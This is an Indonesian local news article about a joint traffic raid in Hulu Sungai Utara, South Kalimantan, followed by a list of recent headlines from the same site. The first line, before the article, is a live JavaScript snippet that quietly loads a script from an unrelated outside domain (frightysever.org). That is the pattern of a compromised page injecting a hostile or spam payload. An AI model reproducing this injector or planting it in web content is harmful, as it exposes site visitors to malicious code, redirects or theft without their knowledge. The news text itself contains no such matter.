(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dishub HSU Gelar Sipalui Raja Adat, Puluhan Pengendara Terjaring Razia


AMUNTAI, Puluhan pengendara roda dua dan empat terjaring razia terpadu yang digelar Dinas Perhubungan Hulu Sungai Utara (HSU) bersama dengan Satuan Lalulintas Polres HSU. Kegiatan ini digelar di terminal angkutan banua lima tepat berada di halaman Kantor Dishub HSU, Kamis (11/10).

Razia terpadu merupakan program terbarunya implementasi proyek “Sipalui Raja Adat” akronim dari Perubahan Sistem Pengelolaan Lalulintas Rambu-Rambu Jalan Angkutan Darat. Hal tersebut diungkapkan Kepala Dinas Perhubungan HSU H. Hamdani, saat memimpin razia terpadu beserta sejumlah anggota TNI, Satlantas Polres HSU, bekerja sama dengan unsur terkait seperti Jasa Raharja, Samsat, Pengadilan dan Kejaksaan Tinggi HSU.

Razia ini dilaksanakan berpindah-pindah dan tidak bertumpu pada satu titik lokasi. Dimana sehari sebelumnya digelar di Area pasar rakyat muara Tapus Jl. Trans Kalimantan, sedang pada hari kedua digelar diterminal angkutan banua lima tepat berada dihalaman kantor Dinas Perhubungan Kabupaten HSU.

Kepala Dishub HSU H. Hamdani, adapun peluncuran program “Sipalui Raja Adat” adalah dalam rangka menumbuh kembangkan kesadaran masyarakat Tentang arti pentingnya tertib berlalulintas. Untuk itu di lakukan tahapan razia terpadu bersama instansi terkait.

“Dalam pelaksanaan ini di harapkan akan menimbulkan kesadaran tertib berlalulintas untuk menjaga keselamatan dalam berkendara serta mengurangi tingkat kecelakaan lalulintas,” kata Hamdani.

Dirinya menambahkan, bagi kenderaan yang terjaring pelanggaran langsung di lakukan sidang di tempat. Pihak pengadilan dan kejaksaan serta bagi yang surat dan pajak kenderaan sudah habis masa berlakunya dapat langsung melakukan perpanjangan masa berlaku di lokasi melalui layanan mobil samsat keliling.

Sementara itu Kasat Lantas Polres HSU Iptu R. Djoko Setiawan mengharapkan kegiatan ini dapat menciptakan situasi lalulintas yang aman dan kondosif. “Tujuannya mengurangi angka kecelakaan serta masyarakat sadar hukum di wilayah hukum polres Hulu Sungai Utara,” katanya.

Adapun sasaran dalam Operasi Razia Terpadu kali ini yaitu pengendara yang melintas, baik roda dua maupun roda empat, termasuk mobil angkutan seperti truck, pick up, taksi dan lain sebagainya.

Sedangkan pemberhentian dilakukan untuk dilakukan pemeriksaan kelengkapan surat-surat seperti SIM serta STNK, dan untuk kendaraan angkutan roda empat yang membawa muatan atau barang diperiksa surat uji KIR dan izin angkut untuk mobil yang dilengkapi dengan bak. (dew)

Reporter: Dew
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.